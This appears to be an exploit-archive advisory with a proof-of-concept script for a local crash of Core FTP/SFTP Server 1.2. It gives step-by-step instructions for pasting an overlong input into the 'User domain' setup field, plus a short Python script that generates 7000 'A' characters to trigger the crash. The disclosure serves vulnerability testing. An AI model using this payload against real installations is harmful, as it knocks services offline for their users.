Core FTP/SFTP Server 1.2 Build 589.42 Denial Of Service

2019.02.18

Credit: Victor Mondragon

Risk: Low

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor MondragA3n
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32
#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1"
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users"
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed
cod = "\x41" * 7000
f = open('core_code.txt', 'w')
f.write(cod)
f.close()

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Core FTP/SFTP Server 1.2 Build 589.42 Denial Of Service

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